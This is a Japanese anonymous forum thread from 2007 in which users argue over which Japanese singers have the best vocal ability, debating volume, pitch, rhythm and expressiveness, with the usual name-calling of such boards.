565 :名無しのエリー:2007/01/05(金) 03:31:09 ID:a7wzG/w/
声質が良いアー 草野 桜井 小田 徳永 河村

566 :名無しのエリー:2007/01/05(金) 03:56:57 ID:nqRX3ZBG
共鳴はしてないとは思わないが。響かせるためのテクそのものはしっかりしてるし鍛えているのもわかるが、
声質がもともと細いんだろうなっつうのは聴いて感じる。


567 :名無しのエリー:2007/01/05(金) 04:40:53 ID:bevv8koM
してるかぁ〜
いつメリも、BUZZの時のアローンもまったくだぞ

568 :名無しのエリー:2007/01/05(金) 05:41:27 ID:pEht6p1E
とりあえずさあ、B'zスレじゃないんだから稲葉の話は終りにしない? なんかさっきからずっと話が進展してないし。結局人の話きく気ないんじゃん
もうこの際稲葉は禁句にしちゃわない?

569 :名無しのエリー:2007/01/05(金) 05:52:06 ID:HbmKVho1
稲葉ヲタを擁護するわけじゃないが
人間の声は世界に一つしかない楽器だと思う。
声質は声帯や骨格、体型によってある程度決まってしまうけどそこに優劣はないんじゃないかな。
ヴァイオリンとチェロ、どっちが優れてるかなんて決められないだろ?
トランペットとトロンボーン然り。
あるのは好みだけ。
ギターとウクレレだって優劣なんかつけられない。
要はその楽器を使ってどんな演奏をするかだと思う。
楽器を響かせるのは演奏の基本だけど、この場合響かせる楽器は体全体であって「鼻への響き」はその一部でしかない。
それに響きで言ったらそれこそポップス歌手はオペラ歌手とは比較することすらできないぞ。
だからと言って必ずしもポップス歌手がオペラ歌手に劣っているとは言えないよな。
だって表現方法が違うんだから。
まぁ結局何が言いたいかというと歌唱力の定義が曖昧過ぎて
ある程度のレベル以上になると優劣を決められないってことだ。

570 :名無しのエリー:2007/01/05(金) 10:24:58 ID:eGw10PU7
ズバリ、木村カエラとHYDE。声をはりあげりゃいいってもんじゃない。
稲葉は声量もないので別のスレで討論してくれ。

571 :名無しのエリー:2007/01/05(金) 10:29:59 ID:7Yn2Z0jm
>>562みたいなろくな意見も言えないのに自分だけはまともだみたいに勘違いして
上からの発言してる奴が一番無能なゴミだと思う。
スレ住人を貶すことしかできないなら消えろ。

572 :名無しのエリー:2007/01/05(金) 11:00:45 ID:C4NMEz+Z
現在の状況

騒音おばさんがスピーカーからB'z流しまくって引っ越し引っ越し叫んでるの見て
地域住民が困惑してるの図

573 :名無しのエリー:2007/01/05(金) 11:06:28 ID:ZqOvFKPc
歌唱力とは詞を聴かせる説得力のある歌い方が出来るか否か
ダミ声だって心に響く歌い方が出来ればそれは天才ボーカリスト
もちろんある程度の声量が無ければ伝わらないが
声量があっても駄目なモノは駄目、ただ五月蠅いだけだ


574 :名無しのエリー:2007/01/05(金) 11:20:33 ID:lHVDb6wb
ポエトリーリーディングとは違うのだから
楽器としてのヴォーカルというのもありだろ
必ずしも歌唱力=詞を聴かせる説得力ではないと思う
ダミ声で心に響く歌い方ができる天才ヴォーカリストがいたとしても
名歌手とはいえても歌唱力があるとはいわない

575 :名無しのエリー:2007/01/05(金) 11:23:49 ID:lHVDb6wb
浅井健一なんて歌唱力があるとはとても言えないが
声質とあいまって説得力はびんびん感じる


576 :名無しのエリー:2007/01/05(金) 11:27:34 ID:lHVDb6wb
楽器としての → 楽器に特化した
の方がわかりやすいか

577 :名無しのエリー:2007/01/05(金) 11:57:28 ID:fO2181Nr
>>569イイこと言ってるよね。
だいたいは同意なんだけど、
最後の1行はよくわからんよ。
「ある程度のレベル」の定義は?
主観?客観?

あと表現力は歌唱力の大部分をしめると思うな。
歌詞の音の捉え方、カバーや英詞ならネイティブな発音、
単語に含む感情表現、曲全体の流れ等

日本語が聞こえないシンガーが多すぎるよ。今時。

まったくの素人意見ですが・・・

578 :名無しのエリー:2007/01/05(金) 12:01:17 ID:C4NMEz+Z
楽器に特化したっていうは、
「言葉」じゃなくて純粋に「音」ってこと?
仮にそうだとしたら、それは「歌唱」の「唱」ではあるけど、「歌」ではないような気がする。
「言葉」としての要素と、「音」としての要素が両方あって、
はじめて「歌唱力」なんだと思うが。

579 :名無しのエリー:2007/01/05(金) 12:14:22 ID:vXCrMr8f
>>560
ああゴメン。前でもいってたね。見落としてたアンカー無かったみたいだから
まぁ技術(歌唱力)優先の俺から見ると
久保田→リズム感を売りにしているわりには出し切れてナイト思う。声量は動画を見る限り
マイクがところどころ結構離れてるのにマイクが近いときと全くかわらない声量
声域は測定してないけど明らかにhihiは行ってない。予測でhiFくらい?
とりあえずR&Bの中では一番の技術をもっていると思う
井上→この人って明るい未来の古臭い表現力を歌に丸め込んでいるんだと思う
声も全盛期は出てるしとにかく表現力っつったらこの人だと思う



580 :名無しのエリー:2007/01/05(金) 12:15:13 ID:lHVDb6wb
当然両方の要素を含むだろうけど
歌唱力について語るならば、先ずは「音」ありき、
声量音程リズム感といった技術的な裏づけがあって「上手い」
その上に「言葉」による説得力がのって「旨い」
少なくとも楽器として優秀なら歌唱力があるといえると思う




581 :名無しのエリー:2007/01/05(金) 12:19:06 ID:vXCrMr8f
>>561
>声質ではなく、歌うまい人の声の出方 当然好みでもない
2ちゃん長いんだからいい加減日本語読解力つけてね
稲葉にはないんだよね
一回ニュートラルに陽水や久保田や玉置の声と比べてみたらいいと思うが

だからさ、その『歌の上手さ』の定義を教えてほしいんだけど
どうやったら歌が上手くなってどういう状態になったら歌が下手になるの?

>エコーかけなくても響明するような声が出せるそうだ

何この曖昧なの。響明するような声←いや声質だからね^^;
小田だって3オクターブも出せないくせにあんなにきれいな声出せてる
北斗の拳の主題歌うたってる人だってものすごいきれいな声出せてる
歌唱力は正直中の下
で、お前は稲葉を入れて人見までも否定したいわけでしょ?
だってそうでしょ?人見は正直お前のいうような響明声はしてないし
どっちかっていうと長州小力みたいな声質している
お前は人見までも否定するわけだな?ん?



582 :名無しのエリー:2007/01/05(金) 12:21:24 ID:vXCrMr8f
>>564
アホスギwwwww
だからお前らはR&Bやポップ、オペラや演歌
しか歌が上手いと思えないわけかwww
HRHMやメタルボーカリストは歌が下手とwww
そうかなるほど分かったよアンチさん^^

583 :名無しのエリー:2007/01/05(金) 12:24:35 ID:vXCrMr8f
>>568
え?だって稲葉の話がないとこのスレ落ちるよ?
所詮批判しか出来ない連中しかいないんだからこのスレは
>>1自体がそうだし
確か先週辺り一瞬稲葉の話無くなったら一気に落ちそうになりましたよ?

>>573
まさにHRボーカリストを無視したような主観だね
自分の痛さ無理やり露呈させて楽しいの?

584 :名無しのエリー:2007/01/05(金) 12:28:59 ID:vXCrMr8f
言ってあげるよ
お前らが井上や飛鳥の『表現』なんて
所詮は日本の一部にしか通用しないんだよね
結局世界からみたら表現力より技術が申しだされるわけで
第一歌い方が外人と日本人じゃ違うし当たり前だけど歌詞が日本語と英語等でくっきり分かれる
井上や飛鳥が英語でも表現できるっつーならまだしも
それすら出来ない。

現に海外で絶賛されてるボーカリストつったら今のところ
英語の発音完璧でほとんど曲が洋楽化してる人見くらいなもんなんだよね

585 :名無しのエリー:2007/01/05(金) 12:31:26 ID:C4NMEz+Z
まあ、R&Bとかオペラとかが正攻法(正格)な歌い方してるとしたら、
ロックとかは破格の歌い方だからなあ。分かっててわざと歌い方崩してったんだし。
その立場に立てば、HRHMの歌い方はヘタって事になるんじゃん?
俺がその立場に立ってるって意味じゃなくてね。

586 :名無しのエリー:2007/01/05(金) 12:36:19 ID:vXCrMr8f
>>585
そもそも歌の上手さ(歌唱力)っていうのは声量や声域、表現力
を総合したものなのに
この釣りスレじゃほんとに日本の一部にしか通用しないような
表現力しか見てない。確かに表現力は大事だけど
そんなの人の好みによる。好みない人から見れば最近出てるほかのボーカリストと
かわらなく見える。好きな人から見ればそれが泣けるかもしれないし。
でも所詮は好みなんだよ
実際万国共通世界共通しているのは、表現力よりも声量や声域、音感等の技術なんだよ
これは好み以前にいくら嫌いな人が見たって口には出せないかもしれないけど
分かる人は分かる。


587 :名無しのエリー:2007/01/05(金) 12:37:50 ID:Lhsl8yc+
同意。表現力のように主観的な要素はこのスレでは重視する必要は無い

588 :名無しのエリー:2007/01/05(金) 12:58:42 ID:lHVDb6wb
ポップス歌手には必ずしも歌唱力は要求されないんだけどな
歌唱力を語ることイコール歌手の価値を語ることとは別物
別物だからこそ声量がどうだ音程がどうだと技術的な要素については
乱暴ではあるけれどもランキングづけしつつ話せるわけで
それこそ説得力とか持ち出したら収集つくわけない

589 :名無しのエリー:2007/01/05(金) 13:27:44 ID:pDO0C0f/
>>583
>まさにHRボーカリストを無視したような主観だね

いや洋楽になってしまうがロバート・プラントは大して声量がないのに
HRオタ以外からも高い評価を得ているじゃん。
一方、ロニー・ジェイムス・ディオは声量あるしピッチの安定度も
素晴らしいのにHRオタ以外からは全く評価されない。
これは何故か?表現力の差だ。

590 :名無しのエリー:2007/01/05(金) 13:32:41 ID:vXCrMr8f
>>589
ソースも無いし信じがたいけど
じゃあなんで人見が日本のHRボーカリストの中で1番だといわれているのか説明してくれる?
単純に表現力や技術面で言ったら
稲葉>閣下>人見

591 :名無しのエリー:2007/01/05(金) 13:35:22 ID:C4NMEz+Z
>>589
ここの歌唱力の定義からすると、
「ロニー・ジェイムス・ディオは歌唱力はあるけど、良い歌手ではない」って事みたいよ。
「歌唱力がある」事と「良い歌手である」事とは違うみたいなので。
つまるとこ、稲葉推してる人が言ってるのも、
「歌唱力はあるけど、良い歌手かどうかは人それぞれだし別問題」という事みたい。

592 :名無しのエリー:2007/01/05(金) 13:41:36 ID:vXCrMr8f
そもそもここの歌唱力の定義が意味わからない。
表現力>>>>>>>>>(超えられない壁)>>>>>>その他技術
じゃん

まぁこのスレ除いてる住人が

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じゃねえ。。


それにさ『ヲタ』から見ればやっぱり実力あるほうが支持されるけど
ヲタ以外から見ればそれはやっぱりカリスマ性のある方に支持が行くわけだよ

593 :名無しのエリー:2007/01/05(金) 13:46:15 ID:vXCrMr8f
例えばX−JAPANと聖飢魔U両方ともメタラーに批判されてたけど(容姿で)
どっちが支持されてるっつったら

HR/HMヲタから見たら→聖飢魔U
だけどその他から見れば
X-JAPANのが圧倒的に支持されてるのは言わなくても分かる

技術や歌唱力は
聖飢魔U>>>>>>>>>>X−JAPAN
だけどね

594 :名無しのエリー:2007/01/05(金) 13:48:09 ID:C4NMEz+Z
>>593
そこまでくると、もう歌唱力どころか歌唱ですらない気が…
ルックスとかパフォーマンスとかアティテュードとか広告戦略とか入って来ちゃうじゃん

595 :名無しのエリー:2007/01/05(金) 13:51:00 ID:oFIro86Y
>>584
全く見当違いな意見と思われ。
外人に日本語の歌を聴かせたって何を言ってるか分からないわけで表現力も糞もあったものじゃない。
もし日本語の歌が海外で売れることがあれば、
それは歌い手の良し悪しではなくメロディーが彼らにとって印象的かどうか。
君は英語の発音が完璧=歌唱力があるとでもいいたいのかね?w

596 :名無しのエリー:2007/01/05(金) 13:54:08 ID:Db96uhm3


結局、マイクを使って歌うという現在の娯楽音楽の歌手の基本を確立した

パイオニアであるビング・クロスビーに勝てる歌唱力を持つ人は

今後も出てこないってのが本当のところだろうな。



597 :名無しのエリー:2007/01/05(金) 13:55:45 ID:vXCrMr8f
>>594
俺がいいたいのはカリスマ性!
聖vsXスレでもXのカリスマ性は認められてるよ

>>595
ん?お前レスアンカー間違えたの?

>外人に日本語の歌を聴かせたって何を言ってるか分からないわけで表現力も糞もあったものじゃない。

うん。同意

>もし日本語の歌が海外で売れることがあれば、
それは歌い手の良し悪しではなくメロディーが彼らにとって印象的かどうか。

いやそれは無いよ
現に海外で高い評価得てるのはVOW WOW以前に人見元基だからね

>君は英語の発音が完璧=歌唱力があるとでもいいたいのかね?w

どっからそう読み取ったの?

598 :名無しのエリー:2007/01/05(金) 13:59:02 ID:lHVDb6wb
英語圏の人間は、日本語での説得力をもってして日本人歌手の歌唱力を判断することはない、
英語圏の人間が日本人による日本語の歌をきいたときに
日本語なんかわかんなくたって技術的に上手いかどうかは判断できるということでしょ





599 :名無しのエリー:2007/01/05(金) 14:01:03 ID:C4NMEz+Z
三上寛とか海外のパンク筋にめっちゃリスペクトされてるけどなーあれ、技術の問題じゃないね
日本語分かんないけど凄いって思うんだって
なんかこんがらがってきた。あれは歌唱力?

600 :名無しのエリー:2007/01/05(金) 14:10:17 ID:oFIro86Y
>>597
>現に海外で絶賛されてるボーカリストつったら今のところ
>英語の発音完璧でほとんど曲が洋楽化してる人見くらいなもんなんだよね
ついでに>>584から
>結局世界からみたら表現力より技術が申しだされるわけで

文章からは人見の英語が上手いから評価されてると読み取れるが?
技術力=英語が上手い=歌唱力がある・・・のかなぁと

601 :名無しのエリー:2007/01/05(金) 14:35:44 ID:N4okplOs
>>579
こっちも亀レスですまん。
久保田にリズム感があるかわからないと言ったが、俺は稲葉にあるのかがわからない。
上の動画(くねくね)みても特別あるように思えないし。

んで俺は歌唱力は音程=リズム感>声量だと思ってる。
だってそうでしょ?まず家で歌うことを想定してみてよ。
音程がずれていたらまず論外。リズム感も同様。
じゃあ声量ってなに?声量が歌に関係してくるところは声の大きさ、迫力、ある程度の安定がでる。
あればあるほど迫力がでるから一見すごいと思うけど、それだけなんだよね。
実際声量あったらOKみたいな雰囲気が偏差値スレにある。だから>>1はこのスレたてたんじゃないかな。
とまあ、いろいろ書いてみたけど、抜群の音程リズム感、ある程度の声量をもった久保田がトップだと思う。

あと肺活量は歌唱力には関係ないと思う。
ドーム全速力で歌いながら走れる?走ってもいいけど歌とは関係ないでしょ。
これはパフォーマンス。

602 :名無しのエリー:2007/01/05(金) 14:36:37 ID:vXCrMr8f
どうでもいいけどエアロとB'zが共演したときも
絶賛えたのはB'zじゃなくて稲葉
松本の調子が最悪だったのは置いといて。

>>600
ああ俺の文も曖昧だったね
生き物殺しの声量と抜群の歌唱力と英語の発音にしといて

603 :名無しのエリー:2007/01/05(金) 14:43:07 ID:vXCrMr8f
>こっちも亀レスですまん。
久保田にリズム感があるかわからないと言ったが、俺は稲葉にあるのかがわからない。
上の動画(くねくね)みても特別あるように思えないし。

クネクネするとリズムが崩れるって知ってる?
得に稲葉みたいに所どころ足を90度あげたりジャンプしたり回ってたりすると
リズムが極度に崩れるんだよね
それでも原曲を維持してるでしょ?稲葉
それはリズム感が相当ある証拠なんだよね
いくら久保田でもあんな体勢したら崩れると思うよ

>んで俺は歌唱力は音程=リズム感>声量だと思ってる。
だってそうでしょ?まず家で歌うことを想定してみてよ。
音程がずれていたらまず論外。リズム感も同様。

プロボーカリストならみんな音程は備わってるんだよね
特に稲葉や久保田レベルになると音程云々より
ほかの技術面のが見られるわけで
それに声量がないといくらリズム感あったって歌唱力あるなんて言えないよ?
声量がないってことは声が出てないってのと同じだもの
声が出てないボーカリスト、いくらリズム感あっても上手いと思える?
音程があるなら次に声量が必要

>あと肺活量は歌唱力には関係ないと思う。
ドーム全速力で歌いながら走れる?走ってもいいけど歌とは関係ないでしょ。
これはパフォーマンス。

肺活量は歌唱力に関係ないね
でも走って歌うってのはリズム感が出てくるわけね
例えば10メートル走ったとしてリズム感が無いとその10メートルでも
乱れる。まあこんな感じ

604 :名無しのエリー:2007/01/05(金) 14:55:48 ID:rae2ytqC
そもそも、クネクネしてもリズムは崩れない件

605 :名無しのエリー:2007/01/05(金) 14:59:08 ID:N4okplOs
>クネクネするとリズムが崩れるって知ってる?

君の文を上で見た上での意見。特別あるとは思えない。

>それに声量がないといくらリズム感あったって歌唱力あるなんて言えないよ?
声量がないってことは声が出てないってのと同じだもの
声が出てないボーカリスト、いくらリズム感あっても上手いと思える?

そりゃあ声出ないほど声量ないのは駄目だけど、久保田声でてるじゃん。
歌の直接的な要素は音程リズム。声量はひきたて役だと思ってる。

>でも走って歌うってのはリズム感が出てくるわけね

その全速力で歌うときに出てくるリズム感って歌唱力と関係あるの?
体に負荷をかけながら歌えたら最強ですか。じゃあ体に火つけて歌っていた外国のメタルが世界最強だね。

606 :名無しのエリー:2007/01/05(金) 15:00:54 ID:/kff+3Ib
森進一と五木ひろし。声が出るのは明らかに五木の方だが、
プロ(音楽評論家やレコード業界)の間で「森の方が歌唱力は上」と言われ続けた事実がある。
素人目から見ると五木の方が上手いと思えるだろ?
プロは表現力の違いを考慮してるとしか言いようがない。

607 :名無しのエリー:2007/01/05(金) 15:10:26 ID:vXCrMr8f
>>605
>君の文を上で見た上での意見。特別あるとは思えない。

なんで?

>そりゃあ声出ないほど声量ないのは駄目だけど、久保田声でてるじゃん。
歌の直接的な要素は音程リズム。声量はひきたて役だと思ってる。

うん、でも『凄い』と言える程ないよね
あくまで素人をたとえにした論だよお前のは
お前は久保田を1位に推薦したいんでしょ?だったら凄いっていえる要素を出さないとね
それに久保田は日本人として神といえるほどの音感も無い

>その全速力で歌うときに出てくるリズム感って歌唱力と関係あるの?
体に負荷をかけながら歌えたら最強ですか。じゃあ体に火つけて歌っていた外国のメタルが世界最強だね。

ほんとに極端だね。ひねくれ過ぎ
別に負担なんてかけてないじゃん。自分がどれだけリズムがある、肺活量があるって
稲葉はライブに来てくれたファンに見せてあげてるんだよね
じゃあその火をつけた外国のメタルは自分は火にたえながら歌えるんだぞって披露してるんだね
うん凄いね

>>606
>森進一と五木ひろし。声が出るのは明らかに五木の方だが、
プロ(音楽評論家やレコード業界)の間で「森の方が歌唱力は上」と言われ続けた事実がある。
素人目から見ると五木の方が上手いと思えるだろ?
プロは表現力の違いを考慮してるとしか言いようがない。

ソースよろしく

608 :名無しのエリー:2007/01/05(金) 15:11:50 ID:vXCrMr8f
>>604
ためしに上にある稲葉の動画真似てお前が出し切れる高音で歌ってみたら?

609 :名無しのエリー:2007/01/05(金) 15:13:23 ID:vXCrMr8f
それに音感とリズム感が重視されて声量が引き立てなんて
海外行ったら絶対通用しないんでよろしく

610 :名無しのエリー:2007/01/05(金) 15:22:53 ID:N4okplOs
>なんで?

クネクネしてもガグンとリズム崩れると思わないから。逆になんでクネクネしたら崩れると思うの?

>お前は久保田を1位に推薦したいんでしょ?だったら凄いっていえる要素を出さないとね
それに久保田は日本人として神といえるほどの音感も無い

だから圧倒的な音感とリズム感。声量も十分だろ?
音感ないなんて稲葉押してる君が言えることでもないと思うが。稲葉のほうがないと思う。
勝っているのは声量だけ。

>別に負担なんてかけてないじゃん。自分がどれだけリズムがある、肺活量があるって
稲葉はライブに来てくれたファンに見せてあげてるんだよね

うんそう。見せてあげているだけ。
ただそれは歌には必要ない。少なくとも目をつぶって聞くぶんには関係ないでしょ?

>それに音感とリズム感が重視されて声量が引き立てなんて
海外行ったら絶対通用しないんでよろしく

ここ日本だよ。
普段の会話でも腹式呼吸使ってる人と日本人を混同しないでくれ。
まあ海外でも評価は久保田>稲葉だけど。

611 :名無しのエリー:2007/01/05(金) 15:27:40 ID:rae2ytqC
>>608
とりあえずhiFまでしか綺麗に歌えないが、クネクネでリズム崩すのはちゃんとした発声が出来てないだけだと忠告しておく。

612 :名無しのエリー:2007/01/05(金) 15:31:30 ID:llLUgxn2
久保田ヲタ痛すぎ

613 :名無しのエリー:2007/01/05(金) 15:33:37 ID:6G2cUSvl
すぐ海外を持ち出すヤツがいるが
海外で通用する日本人なんか居ないので終了
文化の違いが大きすぎる
特に黄色人種にはキビシーだろ
猿が歌って跳ねてるってねw
上のスレでwowowの人見元基?云々あるけど
全米やイギリスのトップ10に入ったことあるのか?w
他の日本人より海外経験が多いとかだろ
ハードロックは日本でも海外でも音楽的評価が低いし対象外

614 :名無しのエリー:2007/01/05(金) 15:36:18 ID:yiaP9Yhn
どうせ話なんてまとまらんよ

615 :名無しのエリー:2007/01/05(金) 15:41:03 ID:vXCrMr8f
>>610
もしかして釣りですか?
>クネクネしてもガグンとリズム崩れると思わないから。逆になんでクネクネしたら崩れると思うの?

稲葉の動画見る限りああいう感じでクネクネしたら重点が動くのは当たり前それくらい分かれよ
じゃあなんで久保田のリズム感は凄いと思うの?具体的に説明してくれる?

>だから圧倒的な音感とリズム感。声量も十分だろ?
音感ないなんて稲葉押してる君が言えることでもないと思うが。稲葉のほうがないと思う。
勝っているのは声量だけ。

久保田には圧倒的な音感もリズム感も無い。
じゃあなんでこの釣りスレ以外の歌唱力スレでは久保田は稲葉以下の位置にいるのか説明つけれる?
まぁこれいっちゃうと俺との議論がずれるから置いといて
じゃあなんで久保田に音感が圧倒的にあると思えるのか説明してくれる?
それに飽くまでもお前の定義に従った結果久保田が最高なだけで
お前の定義が正しいともわからないこの状況の中での話だよね?

>うんそう。見せてあげているだけ。
ただそれは歌には必要ない。少なくとも目をつぶって聞くぶんには関係ないでしょ?

なんかやるせないなお前。
歌唱力を聴くだけのものだと思ってる時点でさ
その時点で何を言おうと『聞くだけなら関係ないでしょ』
とかで流されそうだから控えるよこれに関して

616 :名無しのエリー:2007/01/05(金) 15:48:34 ID:vXCrMr8f
>ここ日本だよ。
普段の会話でも腹式呼吸使ってる人と日本人を混同しないでくれ。
まあ海外でも評価は久保田>稲葉だけど

歌は世界共通なのに混同しないでくれ?馬鹿か?
そもそも久保田のR&Bだって海外から来て
それを久保田がまねて初めてやってるものなのに混同しないでくれって馬鹿か?

>まあ海外でも評価は久保田>稲葉だけど。

ううん、久保田は海外じゃ全くの無名だよ
お前の言うとおり日本だから評価されてるだけで
稲葉より評価高いって言ってる時点で釣りとしか思えない

617 :名無しのエリー:2007/01/05(金) 15:57:18 ID:llLUgxn2
目とじてたら声量も図れないじゃん…
なのにこんな声量のこと偉そうに…
久保田ヲタ痛すぎ…

ていうか音感リズムがまずあって引き立て役が声量って昔のジャニーズじゃん…
久保田ってジャニーズと同レベルなのか?…

618 :名無しのエリー:2007/01/05(金) 16:06:17 ID:4GXnSbIP






       そろそろ ≒ について話し合おうか






619 :名無しのエリー:2007/01/05(金) 16:07:54 ID:/B3yyIw/
>久保田は海外じゃ全くの無名だよ
実際久保田はUKのラジオで結構かかってたんだけどね。
ディアンジェロとかと同じコンピに曲が収録されてたりするし、リスナーにとっては無名に近いけどミュージシャンには結構名前知られてるよ。

620 :619:2007/01/05(金) 16:09:42 ID:/B3yyIw/
あ、あとソウルトレイン出たしね

621 :名無しのエリー:2007/01/05(金) 16:34:33 ID:4GXnSbIP
ソウルトレイン巫女巫女ナーーーーーーーーーーーーーーース!!!

か。

622 :名無しのエリー:2007/01/05(金) 16:57:17 ID:4r11hznd
海外じゃ知名度は
坂本九>>>>>>>>>>>>>>>>>>>>>>稲バカ&クソ保田 だけどな。

623 :名無しのエリー:2007/01/05(金) 17:22:25 ID:yateT99E
>>613
はいったことあるんじゃなかったっけ?

624 :名無しのエリー:2007/01/05(金) 18:14:07 ID:bevv8koM
このスレでの稲葉評を総括すると

稲葉は歌唱力ではなく唯一無二の個性が売り

ってことでおK?

625 :名無しのエリー:2007/01/05(金) 18:46:06 ID:vXCrMr8f
>>624
本当にそう理解したの?

626 :名無しのエリー:2007/01/05(金) 19:04:56 ID:bevv8koM
ID:vXCrMr8f
とりあえずお前が煩ってる精神病名を教えてくれw

627 :名無しのエリー:2007/01/05(金) 19:26:44 ID:wPfrwdXU
アメリカじゃ知名度は
PUFFY >>>>>>>>>>>>>>>>>>>>>>稲バカ&クソ保田 だけどな。


628 :名無しのエリー:2007/01/05(金) 19:28:59 ID:vXCrMr8f
>>626←これが稲葉アンチ



629 :名無しのエリー:2007/01/05(金) 19:31:09 ID:IPNH7ogd
長渕剛と山下達郎。声が出るのは明らかに山下達郎の方だが、
プロ(音楽評論家やレコード業界)の間で「長渕の方が歌唱力は上」と言われ続けた事実がある。
素人目から見ると五木の方が上手いと思えるだろ?
プロは表現力の違いを考慮してるとしか言いようがない。

630 :名無しのエリー:2007/01/05(金) 19:33:58 ID:BbuJpIs7
甲本ヒロトと西条秀樹。声が出るのは明らかに西条秀樹の方だが、
プロ(音楽評論家やレコード業界)の間で「甲本の方が歌唱力は上」と言われ続けた事実がある。
素人目から見ると西条の方が上手いと思えるだろ?
プロは表現力の違いを考慮してるとしか言いようがない。

631 :名無しのエリー:2007/01/05(金) 19:39:28 ID:32l/do7X
閣下とKONISHIKI。声が出るのは明らかに閣下の方だが、
プロ(音楽評論家やレコード業界)の間で「ケンカではKONISHIKIの方が強い」と言われ続けた事実がある。
素人目から見ると閣下の方が悪魔だしマジで怖いと思えるだろ?
プロは過去の実績だけを考慮してるとしか言いようがない。

632 :名無しのエリー:2007/01/05(金) 20:08:38 ID:C4NMEz+Z
>>629
どっから五木がでてきたんだよwwwwwwww

633 :名無しのエリー:2007/01/05(金) 20:26:53 ID:vXCrMr8f
>>631
(>>606)森進一と五木ひろし。声が出るのは明らかに五木の方だが、
プロ(音楽評論家やレコード業界)の間で「森の方が歌唱力は上」と言われ続けた事実がある。
素人目から見ると五木の方が上手いと思えるだろ?
プロは表現力の違いを考慮してるとしか言いようがない。

吹いたぞwwwwwwwwwwwww

634 :名無しのエリー:2007/01/05(金) 20:41:38 ID:4GXnSbIP
ZARDだってうまいと思うぞ

635 :名無しのエリー:2007/01/05(金) 20:45:49 ID:KJP5UG2q
ドリカム吉田は?

636 :名無しのエリー:2007/01/05(金) 22:35:03 ID:bevv8koM
>>628
ねえねえ
はやくお前が煩ってる精神病名教えてよ
また逃げるの?


637 :名無しのエリー:2007/01/05(金) 23:10:17 ID:vXCrMr8f
かよってないよよ

638 :名無しのエリー:2007/01/06(土) 00:48:21 ID:OCmYh6ND
だから早く質問に答えろよ 逃げるのか?
おまえが患ってる精神病名を答えろと言っている。

639 :名無しのエリー:2007/01/06(土) 01:09:30 ID:JsZh5Es7
>>638
ID:vXCrMr8fの病気は中二病だが、
おまいの病気はパラノイアだと思う

640 :名無しのエリー:2007/01/06(土) 12:45:12 ID:CKHfSevV
>>638
なんか惨めだな君

641 :名無しのエリー:2007/01/06(土) 13:01:56 ID:bT6THefw
みじめだなくん

642 :名無しのエリー:2007/01/06(土) 14:36:12 ID:OCmYh6ND
え?答えられないの?いつまで逃げるつもり?
お前の患ってる精神病名を答えろって言ってるんだよ。

643 :名無しのエリー:2007/01/06(土) 17:18:19 ID:V/bala57
かよってないよよ

644 :名無しのエリー:2007/01/07(日) 10:50:50 ID:LnpMJAYg
とりあえず歌唱力の日本一を決めればいい。
どっちにしてもマイク歌手の生みの親である
ビング・クロスビーには勝てないのだから

645 :名無しのエリー:2007/01/07(日) 10:59:20 ID:Hl1n9ufi
まあ、今の全ロック・ポップスなどのすべての歌手は
クロスビーやフランク・シナトラに足を向けて寝られないわな
結局は今の歌手のやっていることは
この2人が確立したことの2番煎じでしかないしな

646 :名無しのエリー:2007/01/07(日) 20:52:13 ID:bzztMXui
クロスビーがいなければ今のヴォーカルスタイルというかマイクによる歌唱法は存在ないわけで
そう考えるとクロスビーは偉大だよな。

647 :名無しのエリー:2007/01/07(日) 21:55:55 ID:oHGfqA6i
よしわかった
世界一 クロズビー
日本一 俺
これで誰も文句でないだろ

648 :名無しのエリー:2007/01/07(日) 23:28:34 ID:n6o/f2dq
>>643
そんな精神病名はないんだよw
いつまで逃げるつもりだ?

649 :名無しのエリー:2007/01/09(火) 21:36:37 ID:LeL6FRet
口動かしてるだけで普通に聞こえるモー娘。が最強だろ

650 :名無しのエリー:2007/01/10(水) 00:34:13 ID:cuJguh3l
てか稲葉のhihiCって裏声フェイクじゃなかった?

651 :名無しのエリー:2007/01/13(土) 10:12:44 ID:xpan6NDV
そう。米良の声だって実際そうじゃん。
裏声を使えば誰だってそれなりに高い音域まで出せる。
なぜテノール歌手よりカウンターテナー歌手があまり評価されないか。
そこを考えるとわかるよ。
要は裏声を音域の拡大だけに使っている人はたいしたことないってこと。
ただし、プロである以上、
裏声に切り替える瞬間をよりスムーズに移行できるかが問われる。
稲葉は一応プロだからスムーズだけどね。
裏声の最大のよさは使い方次第で表現方法が無限に広がるってことだろうな。
ジャズなどをもっといろいろ聴いてみ。

652 :名無しのエリー:2007/01/15(月) 10:43:08 ID:c1dqb/Fl
このVoは下手に聴こえるでしょうか?
http://www.youtube.com/watch?v=LBfzT52ZjHQ

653 :名無しのエリー:2007/01/22(月) 04:49:01 ID:70bGfZc70
にしてもASKAさんはいいなぁ〜。
曲作るところからそれを聞く人に届けるまで。一連の仕事が限りなくピカイチ。
あの、心を優しくなでられるような感じ。ため息でるわ。
おれはASKAが日本一だと思うぜ。みんなの心の中で一番は誰だい?

声量があっても音とれない人がいるから
声量がある⊂歌唱力がある、でファイナルアンサーだ。

って。みんな稲葉について語ってるのか。。。
いまさら1に釣られてちゃダメか。。。。ごめんよ。
おれの主観では稲葉はリスト。ショパンに比べて。

654 :名無しのエリー:2007/01/22(月) 18:54:35 ID:h5RzOZPuO
>>653
ASKAがショパンで稲葉がリストか…

なら中島みゆきはベードーベンな。

655 :名無しのエリー:2007/01/23(火) 18:56:05 ID:6Twyq8GO0
そしてハイトーンでハモりまくるまさにCHAGE&ASKAとはものすごいボーカルが2人いるんだなと
改めて感じさせてくれるテンションが上がる名作
アレンジも黄金期のCHAGE&ASKAを彷彿とさせる実に憎いものだ
こんなに新曲で興奮したのは初めてかもしれない

656 :名無しのエリー:2007/02/08(木) 23:20:35 ID:3x3X6jtPO
globeのKEIKO

657 :名無しのエリー:2007/02/09(金) 04:06:31 ID:FTOkKByFO
KEIKO

658 :名無しのエリー:2007/02/09(金) 04:45:10 ID:G/uO0kvA0
まあリストやショパンなんかの音源は残ってないし何とも言えんわな。

659 :名無しのエリー:2007/02/09(金) 13:32:27 ID:UraQ/Qmb0
>>658は大変な勘違いをしているよ。

660 :名無しのエリー:2007/02/10(土) 00:40:08 ID:48q5qeeKO
ASKAファンだけどB'zのライブDVDとapbankDVD見てると、稲葉がap出たら一気に持ってくだろなと思った。

661 :名無しのエリー:2007/02/15(木) 11:02:35 ID:wpW3ZXl/O
声量、歌唱力ならTUBEの前田も凄いぞ!お互い尊敬し合ってるし、一度稲葉とのコラボが見てみたい!

662 :名無しのエリー:2007/02/15(木) 12:43:39 ID:emCrV8aCO
ココまで俺の自演

